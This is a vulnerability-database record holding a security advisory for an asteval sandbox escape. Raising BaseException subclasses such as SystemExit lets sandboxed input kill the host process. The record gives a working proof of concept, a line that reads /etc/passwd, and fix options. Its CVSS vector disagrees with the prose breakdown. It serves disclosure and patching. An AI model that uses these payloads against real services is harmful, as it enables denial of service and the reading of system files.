{"id":"CVE-2026-55244","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-55244","summary":"asteval has a Sandbox Escape via BaseException Subclasses","details":"## Summary\n\nAn attacker who can supply expressions to `asteval.Interpreter.eval()` can raise `SystemExit`,\n`KeyboardInterrupt`, `GeneratorExit`, or `BaseException` from inside the sandbox. These\nexceptions are subclasses of `BaseException` but not `Exception`, so they bypass the\n`except Exception:` safety net in both `run()` and `eval()`. The exception propagates\nverbatim to the calling application, terminating the process or disrupting signal and\ncleanup handlers.\n\nThis is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and\nGHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in\nall versions including 1.0.6 and current HEAD.\n\n---\n\n## Affected Code\n\n**`asteval/astutils.py`, lines 89–108** — `FROM_PY` exposes dangerous classes to sandbox users:\n\n```python\nFROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',\n           'BaseException',          # ← escapes except Exception:\n           'BufferError', 'BytesWarning',\n           ...\n           'GeneratorExit',          # ← escapes except Exception:\n           ...\n           'KeyboardInterrupt',      # ← escapes except Exception:\n           ...\n           'SystemExit',             # ← escapes except Exception:\n           ...)\n```\n\n**`asteval/asteval.py`, line 322** — `run()` exception handler:\n\n```python\nexcept Exception:                    # ← does NOT catch BaseException subclasses\n    if with_raise and self.expr is not None:\n        self.raise_exception(node, expr=self.expr)\n```\n\n**`asteval/asteval.py`, line 370** — `eval()` exception handler:\n\n```python\nexcept Exception:                    # ← same gap\n    if show_errors and not raise_errors:\n        ...\n```\n\n**`asteval/asteval.py`, line 264** — `raise_exception()` raises the class directly:\n\n```python\nraise exc(self.error_msg)            # ← when exc=SystemExit, escapes both handlers above\n```\n\n---\n\n## Root Cause\n\nPython's exception hierarchy has two distinct branches under `BaseException`:\n\n```\nBaseException\n├── SystemExit          ← NOT caught by except Exception:\n├── KeyboardInterrupt   ← NOT caught by except Exception:\n├── GeneratorExit       ← NOT caught by except Exception:\n└── Exception           ← caught normally\n    ├── RuntimeError\n    ├── ValueError\n    └── ...\n```\n\n`FROM_PY` exposes all four non-`Exception` classes to sandbox users. When a user writes\n`raise SystemExit(\"msg\")`, the `on_raise()` handler calls:\n\n```python\nself.raise_exception(None, exc=out.__class__, msg=msg, expr='')\n```\n\nwhich executes `raise SystemExit(msg)`. This propagates through both `except Exception:`\nguards unchecked and surfaces in the calling application.\n\n---\n\n## Proof of Concept\n\n```python\nfrom asteval import Interpreter\n\n# Variant 1: terminate the process\naeval = Interpreter()\ntry:\n    aeval.eval('raise SystemExit(\"terminated by sandbox user\")')\nexcept SystemExit as e:\n    print(f\"[CONFIRMED] SystemExit escaped: {e.code!r}\")\n\n# Variant 2: disrupt signal/finally handling\naeval = Interpreter()\ntry:\n    aeval.eval('raise KeyboardInterrupt(\"interrupt injected\")')\nexcept KeyboardInterrupt as e:\n    print(f\"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}\")\n\n# Variant 3: GeneratorExit\naeval = Interpreter()\ntry:\n    aeval.eval('raise GeneratorExit(\"gen escape\")')\nexcept GeneratorExit as e:\n    print(f\"[CONFIRMED] GeneratorExit escaped: {str(e)!r}\")\n\n# Variant 4: BaseException base class\naeval = Interpreter()\ntry:\n    aeval.eval('raise BaseException(\"base escape\")')\nexcept BaseException as e:\n    if not isinstance(e, Exception):\n        print(f\"[CONFIRMED] BaseException escaped: {str(e)!r}\")\n```\n\n**Output (tested on asteval 1.0.6, Python 3.11/3.12):**\n\n```\n[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'\n[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'\n[CONFIRMED] GeneratorExit escaped: 'gen escape'\n[CONFIRMED] BaseException escaped: 'base escape'\n```\n\n### Real-world server scenario\n\n```python\nfrom asteval import Interpreter\n\ndef handle_request(user_expression):\n    aeval = Interpreter()\n    return aeval.eval(user_expression)   # SystemExit propagates here\n\n# Attacker sends: raise SystemExit(1)\n# Application terminates. Top-level except Exception: handlers do not protect it.\ntry:\n    handle_request('raise SystemExit(1)')\nexcept Exception:\n    pass  # <-- does NOT catch SystemExit; process exits\n```\n\n---\n\n## Impact\n\n| Variant | Impact |\n|---------|--------|\n| `SystemExit` | Process terminates; exit code and message attacker-controlled |\n| `KeyboardInterrupt` | Disrupts `finally` blocks, signal handlers, and `KeyboardInterrupt`-aware loops |\n| `GeneratorExit` | Disrupts generator cleanup in calling code |\n| `BaseException` | Generic escape, same propagation |\n\nAny application that:\n- Accepts user-supplied expressions via `asteval`\n- Relies on `except Exception:` at the top level (standard practice)\n- Does not wrap `aeval.eval()` in `except BaseException:` (non-standard, unexpected requirement)\n\n...is vulnerable to attacker-triggered process termination (DoS).\n\nCVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N),\nno interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N),\nhigh availability impact — process termination (A:H).\n\n---\n\n## Additional Note: File Read Capability (Acknowledged Limitation)\n\nIndependently of this vulnerability, `asteval` exposes a read-only `open()` wrapper\n(`_open` in `astutils.py`) that allows reading arbitrary files with the permissions of the\ncalling process:\n\n```python\naeval.eval(\"open('/etc/passwd').read()\")   # returns /etc/passwd contents\n```\n\nThis is documented in `doc/motivation.rst` as a known design choice (\"If reading from disk\nmust be forbidden, you will want to overwrite the `open()` function from the symbol table\").\nIt is included here for completeness, not as a separate advisory claim.\n\n---\n\n## Recommended Fix\n\n**Option A — Remove dangerous classes from `FROM_PY` (minimal, preferred):**\n\n```python\n# asteval/astutils.py\n\nFROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',\n           # Remove: 'BaseException',\n           'BufferError', 'BytesWarning',\n           'DeprecationWarning', 'EOFError', 'EnvironmentError',\n           'Exception', 'False', 'FloatingPointError',\n           # Remove: 'GeneratorExit',\n           'IOError', 'ImportError', 'ImportWarning', 'IndentationError',\n           'IndexError', 'KeyError',\n           # Remove: 'KeyboardInterrupt',\n           'LookupError',\n           'MemoryError', 'NameError', 'None',\n           'NotImplementedError', 'OSError', 'OverflowError',\n           'ReferenceError', 'RuntimeError', 'RuntimeWarning',\n           'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError',\n           # Remove: 'SystemExit',\n           'True', 'TypeError', ...)\n```\n\n**Option B — Block non-`Exception` raises in `on_raise()`:**\n\n```python\n# asteval/asteval.py\n\ndef on_raise(self, node):\n    excnode = node.exc\n    msgnode = node.cause\n    out = self.run(excnode)\n    # Prevent BaseException subclasses from escaping the sandbox\n    if not issubclass(out.__class__, Exception):\n        self.raise_exception(node, exc=RuntimeError,\n                             msg=f\"raising {out.__class__.__name__!r} is not permitted\")\n        return\n    msg = ' '.join(str(a) for a in out.args)\n    msg2 = self.run(msgnode)\n    if msg2 not in (None, 'None'):\n        msg = f\"{msg}: {msg2}\"\n    self.raise_exception(None, exc=out.__class__, msg=msg, expr='')\n```\n\nNote: Option B also fixes a secondary bug on the same line — `' '.join(out.args)` crashes\nwith `TypeError` when args contain non-strings (e.g., `raise SystemExit(0)` with integer\ncode). The fix uses `str(a) for a in out.args`.\n\n**Option C — Catch `BaseException` in `run()` and `eval()` (broadest, requires care):**\n\n```python\nexcept BaseException as exc:\n    if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)):\n        # Re-raise as RuntimeError to contain within sandbox\n        self.raise_exception(node, exc=RuntimeError,\n                             msg=f\"{type(exc).__name__} raised in sandbox\")\n    elif with_raise and self.expr is not None:\n        self.raise_exception(node, expr=self.expr)\n```\n\nOption A is the simplest and least likely to introduce regressions. Option B additionally\naddresses the `str.join` crash on integer args.\n\n---\n\n## Disclosure Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-06-09 | Vulnerability discovered during code review |\n| 2026-06-09 | Report submitted via GitHub Security Advisory |\n| TBD | Maintainer acknowledgment |\n| TBD + 90 days | Public disclosure deadline |\n\n---\n\n## Researcher\n\nIndependent security researcher. No bug bounty program exists for this project.\nCVE assignment requested via GitHub Security Advisory submission.\n\n---\n\n## References\n\n- Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6)\n- Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6)\n- Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy\n- `asteval` documentation: https://lmfit.github.io/asteval/","published":"2026-08-20T17:28:52Z","modified":"2026-08-20T17:45:07.200283741Z","cvss":{"score":5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"asteval","fixedVersion":"1.0.9"}],"fix":{"url":"https://github.com/lmfit/asteval/pull/153","label":"lmfit/asteval#153"},"references":[{"type":"WEB","url":"https://github.com/lmfit/asteval/security/advisories/GHSA-89v8-rhwq-hf77"},{"type":"WEB","url":"https://github.com/lmfit/asteval/pull/153"},{"type":"WEB","url":"https://github.com/lmfit/asteval/commit/a3e56e7f8ed567a4817684d94213b290359077b4"},{"type":"PACKAGE","url":"https://github.com/lmfit/asteval"},{"type":"WEB","url":"https://github.com/lmfit/asteval/releases/tag/1.0.9"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-20T17:45:07.200283741Z"}}